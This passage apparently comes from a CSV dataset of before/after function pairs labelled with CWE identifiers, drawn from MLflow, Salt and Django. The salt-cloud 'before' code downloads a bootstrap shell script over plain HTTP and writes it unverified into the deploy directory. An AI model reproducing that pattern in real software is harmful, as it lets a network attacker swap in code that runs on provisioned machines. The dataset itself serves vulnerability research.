            MlflowException, r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            search_versions(""run_id IN"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
            MlflowException, r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            search_versions(""name LIKE"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got ill-formed list""
            ),
        ) as exception_context:
            search_versions(""run_id IN (,)"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got ill-formed list""
            ),
        ) as exception_context:
            search_versions(""run_id IN ('runid1',,'runid2')"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using source_path ""A/D"" should return version 3 and 4
        self.assertEqual(set(search_versions(""source_path = 'A/D'"")), set([3, 4]))

        # search using source_path ""A"" should not return anything
        self.assertEqual(len(search_versions(""source_path = 'A'"")), 0)
        self.assertEqual(len(search_versions(""source_path = 'A/'"")), 0)
        self.assertEqual(len(search_versions(""source_path = ''"")), 0)

        # delete mv4. search should not return version 4
        self.store.delete_model_version(name=mv4.name, version=mv4.version)
        self.assertEqual(set(search_versions("""")), set([1, 2, 3]))

        self.assertEqual(set(search_versions(None)), set([1, 2, 3]))

        self.assertEqual(set(search_versions(""name='%s'"" % name)), set([1, 2, 3]))

        self.assertEqual(set(search_versions(""source_path = 'A/D'"")), set([3]))

        self.store.transition_model_version_stage(
            name=mv1.name, version=mv1.version, stage=""production"", archive_existing_versions=False
        )

        self.store.update_model_version(
            name=mv1.name, version=mv1.version, description=""Online prediction model!""
        )

        mvds = self.store.search_model_versions(""run_id = '%s'"" % run_id_1)
        assert 1 == len(mvds)
        assert isinstance(mvds[0], ModelVersion)
        assert mvds[0].current_stage == ""Production""
        assert mvds[0].run_id == run_id_1
        assert mvds[0].source == ""A/B""
        assert mvds[0].description == ""Online prediction model!""",CWE-703,mlflow/mlflow,80564db826e5a4ce9d1a18eee36d252b03e1ab6c,"def test_search_model_versions(self):
        # create some model versions
        name = ""test_for_search_MV""
        self._rm_maker(name)
        run_id_1 = uuid.uuid4().hex
        run_id_2 = uuid.uuid4().hex
        run_id_3 = uuid.uuid4().hex
        mv1 = self._mv_maker(name=name, source=""A/B"", run_id=run_id_1)
        self.assertEqual(mv1.version, 1)
        mv2 = self._mv_maker(name=name, source=""A/C"", run_id=run_id_2)
        self.assertEqual(mv2.version, 2)
        mv3 = self._mv_maker(name=name, source=""A/D"", run_id=run_id_2)
        self.assertEqual(mv3.version, 3)
        mv4 = self._mv_maker(name=name, source=""A/D"", run_id=run_id_3)
        self.assertEqual(mv4.version, 4)

        def search_versions(filter_string):
            return [mvd.version for mvd in self.store.search_model_versions(filter_string)]

        # search using name should return all 4 versions
        self.assertEqual(set(search_versions(""name='%s'"" % name)), set([1, 2, 3, 4]))

        # search using run_id_1 should return version 1
        self.assertEqual(set(search_versions(""run_id='%s'"" % run_id_1)), set([1]))

        # search using run_id_2 should return versions 2 and 3
        self.assertEqual(set(search_versions(""run_id='%s'"" % run_id_2)), set([2, 3]))

        # search using the IN operator should return all versions
        self.assertEqual(
            set(
                search_versions(
                    ""run_id IN ('{run_id_1}','{run_id_2}')"".format(
                        run_id_1=run_id_1, run_id_2=run_id_2
                    )
                )
            ),
            set([1, 2, 3]),
        )

        # search using the IN operator with bad lists should return exceptions
        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected string value or punctuation, ""
                r""but got different type in list""
            ),
        ) as exception_context:
            search_versions(""run_id IN (1,2,3)"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using the IN operator with empty lists should return exceptions
        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got empty list""
            ),
        ) as exception_context:
            search_versions(""run_id IN ()"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using an ill-formed IN operator correctly throws exception
        with self.assertRaisesRegex(
            MlflowException, r""Invalid clause\(s\) in filter string""
        ) as exception_context:
            search_versions(""run_id IN ("")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(MlflowException, r""Invalid filter '.+'"") as exception_context:
            search_versions(""run_id IN"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got ill-formed list""
            ),
        ) as exception_context:
            search_versions(""run_id IN (,)"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        with self.assertRaisesRegex(
            MlflowException,
            (
                r""While parsing a list in the query, ""
                r""expected a non-empty list of string values, ""
                r""but got ill-formed list""
            ),
        ) as exception_context:
            search_versions(""run_id IN ('runid1',,'runid2')"")
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using the IN operator is not allowed with other additional filters
        with self.assertRaisesRegex(
            MlflowException, r""Search filter '.+' contains multiple expressions""
        ) as exception_context:
            search_versions(
                ""name='{name}]' AND run_id IN ('{run_id_1}','{run_id_2}')"".format(
                    name=name, run_id_1=run_id_1, run_id_2=run_id_2
                )
            )
        assert exception_context.exception.error_code == ErrorCode.Name(INVALID_PARAMETER_VALUE)

        # search using source_path ""A/D"" should return version 3 and 4
        self.assertEqual(set(search_versions(""source_path = 'A/D'"")), set([3, 4]))

        # search using source_path ""A"" should not return anything
        self.assertEqual(len(search_versions(""source_path = 'A'"")), 0)
        self.assertEqual(len(search_versions(""source_path = 'A/'"")), 0)
        self.assertEqual(len(search_versions(""source_path = ''"")), 0)

        # delete mv4. search should not return version 4
        self.store.delete_model_version(name=mv4.name, version=mv4.version)
        self.assertEqual(set(search_versions("""")), set([1, 2, 3]))

        self.assertEqual(set(search_versions(None)), set([1, 2, 3]))

        self.assertEqual(set(search_versions(""name='%s'"" % name)), set([1, 2, 3]))

        self.assertEqual(set(search_versions(""source_path = 'A/D'"")), set([3]))

        self.store.transition_model_version_stage(
            name=mv1.name, version=mv1.version, stage=""production"", archive_existing_versions=False
        )

        self.store.update_model_version(
            name=mv1.name, version=mv1.version, description=""Online prediction model!""
        )

        mvds = self.store.search_model_versions(""run_id = '%s'"" % run_id_1)
        assert 1 == len(mvds)
        assert isinstance(mvds[0], ModelVersion)
        assert mvds[0].current_stage == ""Production""
        assert mvds[0].run_id == run_id_1
        assert mvds[0].source == ""A/B""
        assert mvds[0].description == ""Online prediction model!"""
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,saltcloud/cli.py,0,"def run(self):
        '''
        Execute the salt-cloud command line
        '''
        libcloud_version()

        # Parse shell arguments
        self.parse_args()

        # Setup log file logging
        self.setup_logfile_logger()

        # Late imports so logging works as expected
        log.info('salt-cloud starting')
        import saltcloud.cloud
        mapper = saltcloud.cloud.Map(self.config)

        if self.options.update_bootstrap:
            import urllib
            url = 'http://bootstrap.saltstack.org'
            req = urllib.urlopen(url)
            deploy_path = os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'saltcloud', 'deploy', 'bootstrap-salt.sh'
            )
            print('Updating bootstrap-salt.sh.'
                  '\n\tSource:      {0}'
                  '\n\tDestination: {1}'.format(url, deploy_path))
            with salt.utils.fopen(deploy_path, 'w') as fp_:
                fp_.write(req.read())

        if self.selected_query_option is not None:
            if self.options.map:
                try:
                    query_map = mapper.interpolated_map(
                        query=self.selected_query_option
                    )
                except Exception as exc:
                    log.debug(
                        'There was an error with a custom map.', exc_info=True
                    )
                    self.error(
                        'There was an error with a custom map: {0}'.format(
                            exc
                        )
                    )
            else:
                try:
                    query_map = mapper.map_providers(
                        query=self.selected_query_option
                    )
                except Exception as exc:
                    log.debug('There was an error with a map.', exc_info=True)
                    self.error(
                        'There was an error with a map: {0}'.format(exc)
                    )
            salt.output.display_output(query_map, '', self.config)


        if self.options.list_locations is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.location_list(self.options.list_locations)
                )
            except Exception as exc:
                log.debug(
                    'There was an error listing locations.', exc_info=True
                )
                self.error(
                    'There was an error listing locations: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.list_images is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.image_list(self.options.list_images)
                )
            except Exception as exc:
                log.debug('There was an error listing images.', exc_info=True)
                self.error(
                    'There was an error listing images: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.list_sizes is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.size_list(self.options.list_sizes)
                )
            except Exception as exc:
                log.debug('There was an error listing sizes.', exc_info=True)
                self.error(
                    'There was an error listing sizes: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.destroy and (self.config.get('names', None) or
                                     self.options.map):
            if self.options.map:
                names = mapper.delete_map(query='list_nodes')
            else:
                names = self.config.get('names', None)

            msg = 'The following virtual machines are set to be destroyed:\n'
            for name in names:
                msg += '  {0}\n'.format(name)

            try:
                if self.print_confirm(msg):
                    mapper.destroy(names)
            except Exception as exc:
                log.debug(
                    'There was an error destroying machines.', exc_info=True
                )
                self.error(
                    'There was an error destroy machines: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.action and (self.config.get('names', None) or
                                    self.options.map):
            if self.options.map:
                names = mapper.delete_map(query='list_nodes')
            else:
                names = self.config.get('names', None)

            kwargs = {}
            machines = []
            msg = (
                'The following virtual machines are set to be actioned with '
                '""{0}"":\n'.format(
                    self.options.action
                )
            )
            for name in names:
                if '=' in name:
                    # This is obviously not a machine name, treat it as a kwarg
                    comps = name.split('=')
                    kwargs[comps[0]] = comps[1]
                else:
                    msg += '  {0}\n'.format(name)
                    machines.append(name)
            names = machines

            try:
                if self.print_confirm(msg):
                    mapper.do_action(names, kwargs)
            except Exception as exc:
                log.debug(
                    'There was a error actioning machines.', exc_info=True
                )
                self.error(
                    'There was an error actioning machines: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.profile and self.config.get('names', False):
            try:
                mapper.run_profile()
            except Exception as exc:
                log.debug('There was a profile error.', exc_info=True)
                self.error('There was a profile error: {0}'.format(exc))
            self.exit(0)

        if self.options.map and self.selected_query_option is None:
            if len(mapper.map) == 0:
                print('Nothing to do')
                self.exit(0)
            try:
                dmap = mapper.map_data()

                msg = 'The following virtual machines are set to be created:\n'
                for name in dmap['create']:
                    msg += '  {0}\n'.format(name)
                if 'destroy' in dmap:
                    msg += ('The following virtual machines are set to be '
                            'destroyed:\n')
                    for name in dmap['destroy']:
                        msg += '  {0}\n'.format(name)

                if self.print_confirm(msg):
                    mapper.run_map(dmap)
            except Exception as exc:
                log.debug('There was a query error.', exc_info=True)
                self.error('There was a query error: {0}'.format(exc))
            self.exit(0)",,saltstack/salt,b87a743fc4917d72c724a176207ab6e28ed6f50a,"def run(self):
        '''
        Execute the salt-cloud command line
        '''
        libcloud_version()

        # Parse shell arguments
        self.parse_args()

        # Setup log file logging
        self.setup_logfile_logger()

        # Late imports so logging works as expected
        log.info('salt-cloud starting')
        import saltcloud.cloud
        mapper = saltcloud.cloud.Map(self.config)

        if self.options.update_bootstrap:
            import urllib
            branch = 'develop'
            url = (
                'https://raw.github.com/saltstack/salt-bootstrap/{0}/'
                'bootstrap-salt-minion.sh'.format(branch)
            )
            req = urllib.urlopen(url)
            deploy_path = os.path.join(
                os.path.dirname(os.path.dirname(__file__)),
                'saltcloud', 'deploy', 'bootstrap-salt-minion.sh'
            )
            print('Updating bootstrap-salt-minion.sh.'
                  '\n\tSource:      {0}'
                  '\n\tDestination: {1}'.format(url, deploy_path))
            with salt.utils.fopen(deploy_path, 'w') as fp_:
                fp_.write(req.read())

        if self.selected_query_option is not None:
            if self.options.map:
                try:
                    query_map = mapper.interpolated_map(
                        query=self.selected_query_option
                    )
                except Exception as exc:
                    log.debug(
                        'There was an error with a custom map.', exc_info=True
                    )
                    self.error(
                        'There was an error with a custom map: {0}'.format(
                            exc
                        )
                    )
            else:
                try:
                    query_map = mapper.map_providers(
                        query=self.selected_query_option
                    )
                except Exception as exc:
                    log.debug('There was an error with a map.', exc_info=True)
                    self.error(
                        'There was an error with a map: {0}'.format(exc)
                    )
            salt.output.display_output(query_map, '', self.config)


        if self.options.list_locations is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.location_list(self.options.list_locations)
                )
            except Exception as exc:
                log.debug(
                    'There was an error listing locations.', exc_info=True
                )
                self.error(
                    'There was an error listing locations: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.list_images is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.image_list(self.options.list_images)
                )
            except Exception as exc:
                log.debug('There was an error listing images.', exc_info=True)
                self.error(
                    'There was an error listing images: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.list_sizes is not None:
            try:
                saltcloud.output.double_layer(
                    mapper.size_list(self.options.list_sizes)
                )
            except Exception as exc:
                log.debug('There was an error listing sizes.', exc_info=True)
                self.error(
                    'There was an error listing sizes: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.destroy and (self.config.get('names', None) or
                                     self.options.map):
            if self.options.map:
                names = mapper.delete_map(query='list_nodes')
            else:
                names = self.config.get('names', None)

            msg = 'The following virtual machines are set to be destroyed:\n'
            for name in names:
                msg += '  {0}\n'.format(name)

            try:
                if self.print_confirm(msg):
                    mapper.destroy(names)
            except Exception as exc:
                log.debug(
                    'There was an error destroying machines.', exc_info=True
                )
                self.error(
                    'There was an error destroy machines: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.action and (self.config.get('names', None) or
                                    self.options.map):
            if self.options.map:
                names = mapper.delete_map(query='list_nodes')
            else:
                names = self.config.get('names', None)

            kwargs = {}
            machines = []
            msg = (
                'The following virtual machines are set to be actioned with '
                '""{0}"":\n'.format(
                    self.options.action
                )
            )
            for name in names:
                if '=' in name:
                    # This is obviously not a machine name, treat it as a kwarg
                    comps = name.split('=')
                    kwargs[comps[0]] = comps[1]
                else:
                    msg += '  {0}\n'.format(name)
                    machines.append(name)
            names = machines

            try:
                if self.print_confirm(msg):
                    mapper.do_action(names, kwargs)
            except Exception as exc:
                log.debug(
                    'There was a error actioning machines.', exc_info=True
                )
                self.error(
                    'There was an error actioning machines: {0}'.format(exc)
                )
            self.exit(0)

        if self.options.profile and self.config.get('names', False):
            try:
                mapper.run_profile()
            except Exception as exc:
                log.debug('There was a profile error.', exc_info=True)
                self.error('There was a profile error: {0}'.format(exc))
            self.exit(0)

        if self.options.map and self.selected_query_option is None:
            if len(mapper.map) == 0:
                print('Nothing to do')
                self.exit(0)
            try:
                dmap = mapper.map_data()

                msg = 'The following virtual machines are set to be created:\n'
                for name in dmap['create']:
                    msg += '  {0}\n'.format(name)
                if 'destroy' in dmap:
                    msg += ('The following virtual machines are set to be '
                            'destroyed:\n')
                    for name in dmap['destroy']:
                        msg += '  {0}\n'.format(name)

                if self.print_confirm(msg):
                    mapper.run_map(dmap)
            except Exception as exc:
                log.debug('There was a query error.', exc_info=True)
                self.error('There was a query error: {0}'.format(exc))
            self.exit(0)"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/fixtures/tests.py,0,"def test_loading_and_dumping(self):
        Site.objects.all().delete()
        # Load fixture 1. Single JSON file, with two objects.
        management.call_command('loaddata', 'fixture1.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Time to reform copyright>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Try just dumping the contents of fixtures.Category
        self._dumpdata_assert(['fixtures.Category'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}]')

        # ...and just fixtures.Article
        self._dumpdata_assert(['fixtures.Article'], '[{""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # ...and both
        self._dumpdata_assert(['fixtures.Category', 'fixtures.Article'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # Specify a specific model twice
        self._dumpdata_assert(['fixtures.Article', 'fixtures.Article'], '[{""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}]')

        # Specify a dump that specifies Article both explicitly and implicitly
        self._dumpdata_assert(['fixtures.Article', 'fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Same again, but specify in the reverse order
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker has no place on ESPN"", ""pub_date"": ""2006-06-16T12:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Time to reform copyright"", ""pub_date"": ""2006-06-16T13:00:00""}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # Specify one model from one application, and an entire other application.
        self._dumpdata_assert(['fixtures.Category', 'sites'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 1, ""model"": ""sites.site"", ""fields"": {""domain"": ""example.com"", ""name"": ""example.com""}}]')

        # Load fixture 2. JSON file imported by default. Overwrites some existing objects
        management.call_command('loaddata', 'fixture2.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker has no place on ESPN>',
        ])

        # Load fixture 3, XML format.
        management.call_command('loaddata', 'fixture3.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # Load fixture 6, JSON file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture6.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged ""copyright"">',
            '<Tag: <Article: Copyright is fine the way it is> tagged ""law"">',
        ], ordered=False)

        # Load fixture 7, XML file with dynamic ContentType fields. Testing ManyToOne.
        management.call_command('loaddata', 'fixture7.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Tag.objects.all(), [
            '<Tag: <Article: Copyright is fine the way it is> tagged ""copyright"">',
            '<Tag: <Article: Copyright is fine the way it is> tagged ""legal"">',
            '<Tag: <Article: Django conquers world!> tagged ""django"">',
            '<Tag: <Article: Django conquers world!> tagged ""world domination"">',
        ], ordered=False)

        # Load fixture 8, JSON file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture8.json', verbosity=0, commit=False)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user>',
            '<Visa: Prince >'
        ], ordered=False)

        # Load fixture 9, XML file with dynamic Permission fields. Testing ManyToMany.
        management.call_command('loaddata', 'fixture9.xml', verbosity=0, commit=False)
        self.assertQuerysetEqual(Visa.objects.all(), [
            '<Visa: Django Reinhardt Can add user, Can change user, Can delete user>',
            '<Visa: Stephane Grappelli Can add user, Can delete user>',
            '<Visa: Artist formerly known as ""Prince"" Can change user>'
        ], ordered=False)

        self.assertQuerysetEqual(Book.objects.all(), [
            '<Book: Achieving self-awareness of Python programs>',
            '<Book: Music for all ages by Artist formerly known as ""Prince"" and Django Reinhardt>'
        ])

        # Loading a fixture that doesn't exist results in an error
        with self.assertRaises(management.CommandError):
            management.call_command('loaddata', 'unknown.json', verbosity=0,
                commit=False)

        # An attempt to load a nonexistent 'initial_data' fixture isn't an error
        management.call_command('loaddata', 'initial_data.json', verbosity=0,
            commit=False)

        # object list is unaffected
        self.assertQuerysetEqual(Article.objects.all(), [
            '<Article: XML identified as leading cause of cancer>',
            '<Article: Django conquers world!>',
            '<Article: Copyright is fine the way it is>',
            '<Article: Poker on TV is great!>',
        ])

        # By default, you get raw keys on dumpdata
        self._dumpdata_assert(['fixtures.book'], '[{""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [3, 1]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]')

        # But you can get natural keys if you ask for them and they are available
        self._dumpdata_assert(['fixtures.book'], '[{""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [[""Artist formerly known as \\""Prince\\""""], [""Django Reinhardt""]]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]', natural_keys=True)

        # Dump the current contents of the database as a JSON fixture
        self._dumpdata_assert(['fixtures'], '[{""pk"": 1, ""model"": ""fixtures.category"", ""fields"": {""description"": ""Latest news stories"", ""title"": ""News Stories""}}, {""pk"": 2, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Poker on TV is great!"", ""pub_date"": ""2006-06-16T11:00:00""}}, {""pk"": 3, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Copyright is fine the way it is"", ""pub_date"": ""2006-06-16T14:00:00""}}, {""pk"": 4, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""Django conquers world!"", ""pub_date"": ""2006-06-16T15:00:00""}}, {""pk"": 5, ""model"": ""fixtures.article"", ""fields"": {""headline"": ""XML identified as leading cause of cancer"", ""pub_date"": ""2006-06-16T16:00:00""}}, {""pk"": 1, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""copyright"", ""tagged_id"": 3}}, {""pk"": 2, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""legal"", ""tagged_id"": 3}}, {""pk"": 3, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""django"", ""tagged_id"": 4}}, {""pk"": 4, ""model"": ""fixtures.tag"", ""fields"": {""tagged_type"": [""fixtures"", ""article""], ""name"": ""world domination"", ""tagged_id"": 4}}, {""pk"": 1, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Django Reinhardt""}}, {""pk"": 2, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Stephane Grappelli""}}, {""pk"": 3, ""model"": ""fixtures.person"", ""fields"": {""name"": ""Artist formerly known as \\""Prince\\""""}}, {""pk"": 1, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Django Reinhardt""], ""permissions"": [[""add_user"", ""auth"", ""user""], [""change_user"", ""auth"", ""user""], [""delete_user"", ""auth"", ""user""]]}}, {""pk"": 2, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Stephane Grappelli""], ""permissions"": [[""add_user"", ""auth"", ""user""], [""delete_user"", ""auth"", ""user""]]}}, {""pk"": 3, ""model"": ""fixtures.visa"", ""fields"": {""person"": [""Artist formerly known as \\""Prince\\""""], ""permissions"": [[""change_user"", ""auth"", ""user""]]}}, {""pk"": 1, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Music for all ages"", ""authors"": [[""Artist formerly known as \\""Prince\\""""], [""Django Reinhardt""]]}}, {""pk"": 10, ""model"": ""fixtures.book"", ""fields"": {""name"": ""Achieving self-awareness of Python programs"", ""authors"": []}}]', natural_keys=True)

        # Dump the current contents of the database as an XML fixture
        self._dumpdata_assert(['fixtures'], """"""<?xml version=""1.0"" encoding=""utf-8""?>
<django-objects version=""1.0""><object pk=""1"" model=""fixtures.category""><field type=""CharField"" name=""title"">News Stories</field><field type=""TextField"" name=""description"">Latest news stories</field></object><object pk=""2"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Poker on TV is great!</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T11:00:00</field></object><object pk=""3"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Copyright is fine the way it is</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T14:00:00</field></object><object pk=""4"" model=""fixtures.article""><field type=""CharField"" name=""headline"">Django conquers world!</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T15:00:00</field></object><object pk=""5"" model=""fixtures.article""><field type=""CharField"" name=""headline"">XML identified as leading cause of cancer</field><field type=""DateTimeField"" name=""pub_date"">2006-06-16T16:00:00</field></object><object pk=""1"" model=""fixtures.tag""><field type=""CharField"" name=""name"">copyright</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">3</field></object><object pk=""2"" model=""fixtures.tag""><field type=""CharField"" name=""name"">legal</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">3</field></object><object pk=""3"" model=""fixtures.tag""><field type=""CharField"" name=""name"">django</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">4</field></object><object pk=""4"" model=""fixtures.tag""><field type=""CharField"" name=""name"">world domination</field><field to=""contenttypes.contenttype"" name=""tagged_type"" rel=""ManyToOneRel""><natural>fixtures</natural><natural>article</natural></field><field type=""PositiveIntegerField"" name=""tagged_id"">4</field></object><object pk=""1"" model=""fixtures.person""><field type=""CharField"" name=""name"">Django Reinhardt</field></object><object pk=""2"" model=""fixtures.person""><field type=""CharField"" name=""name"">Stephane Grappelli</field></object><object pk=""3"" model=""fixtures.person""><field type=""CharField"" name=""name"">Artist formerly known as ""Prince""</field></object><object pk=""1"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Django Reinhardt</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""2"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Stephane Grappelli</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>add_user</natural><natural>auth</natural><natural>user</natural></object><object><natural>delete_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""3"" model=""fixtures.visa""><field to=""fixtures.person"" name=""person"" rel=""ManyToOneRel""><natural>Artist formerly known as ""Prince""</natural></field><field to=""auth.permission"" name=""permissions"" rel=""ManyToManyRel""><object><natural>change_user</natural><natural>auth</natural><natural>user</natural></object></field></object><object pk=""1"" model=""fixtures.book""><field type=""CharField"" name=""name"">Music for all ages</field><field to=""fixtures.person"" name=""authors"" rel=""ManyToManyRel""><object><natural>Artist formerly known as ""Prince""</natural></object><object><natural>Django Reinhardt</natural></object></field></object><object pk=""10"" model=""fixtures.book""><field type=""CharField"" name=""name"">Achieving self-awareness of Python programs</field><field to=""fixtures.person"" name=""authors"" rel=""ManyToManyRel""></field></object></django-objects>"""""", format='xml', natural_keys=True)",CWE-Unknown,django/django,cc3b3ba93a7bfdd2ece739e97e36150a719acd3e,"def test_loading_and_dumping(self):
